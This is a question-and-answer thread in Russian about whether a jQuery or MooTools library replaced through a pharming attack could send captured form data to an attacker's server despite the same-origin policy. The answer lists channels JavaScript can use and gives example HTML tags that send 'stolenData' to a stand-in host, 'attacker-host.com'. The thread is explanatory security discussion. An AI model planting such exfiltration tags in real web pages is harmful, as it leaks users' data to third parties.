Эмулируемая библиотека jQuery или MooTools (в ex.by pharming) может захватывать и отправлять данные на внешний сайт? - PullRequest
0 голосов
/ 21 января 2011

Существует новый способ вызова каркасов jQuery, YUI, MooTools (и многих плагинов тоже) с внешнего базового сайта для работы с последними сборками.

В фарминг-атаке (если упомянуть только одну) исходную библиотеку можно заменить одной зараженной, чтобы использовать ее для манипулирования поведением библиотеки, браузера или плагинов. С помощью этих библиотек легко собирать данные форм, строки запросов и другую информацию. Его тоже легко отправить.

Итак, мой вопрос:

Может ли злоумышленник также отправить эти захваченные данные на тот же хост с эмуляцией фарминга, с которого получил поддельную библиотеку?

В браузере есть межсайтовая политика JavaScript, но действует ли она в этом случае? Помните, что поддельная библиотека будет загружена с того же эмулируемого хоста, а также с зараженной страницы, поэтому нет вызова для межсайтовых объектов или функций DOM.

Большое спасибо!

1 Ответ

1 голос
/ 21 января 2011

хорошо, вы должны подумать о том, как javascript может передавать данные на другой сайт:
-ajax
-frames
-прикрепление внешнего URL к объектам dom
-webSockets

В первых двух случаях, хотя есть некоторые хаки, из-за одинаковой политики происхождения невозможно передавать данные с сайта на другой, размещенный в другом (суб) домене или другом используя другой протокол. Даже если хост «отравлен» «фармингом», это не значит, что он будет указывать на тот же домен.
Очень просто просто получить доступ к внешнему URL-адресу и отправить ему любые данные GET, просто прикрепив этот URL-адрес к элементу dom, для которого требуется один: <a href="http://attacker-host.com/?stolenData=stolenData"></a> <img src="http://attacker-host.com/?stolenData=stolenData" /> <script src="http://attacker-host.com/?stolenData=stolenData"></script> <link href="http://attacker-host.com/?stolenData=stolenData" /> //... and so on Если злоумышленник использует передатчик данных webSocket и использует современный браузер, обмен данными может работать.

В заключение, это может быть сделано, хотя было бы маловероятно саботировать DNS и изменять js-библиотеки так, как пользователь не мог бы это сказать.

РЕДАКТИРОВАТЬ: добавлено простейшее решение: DOM объектов

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...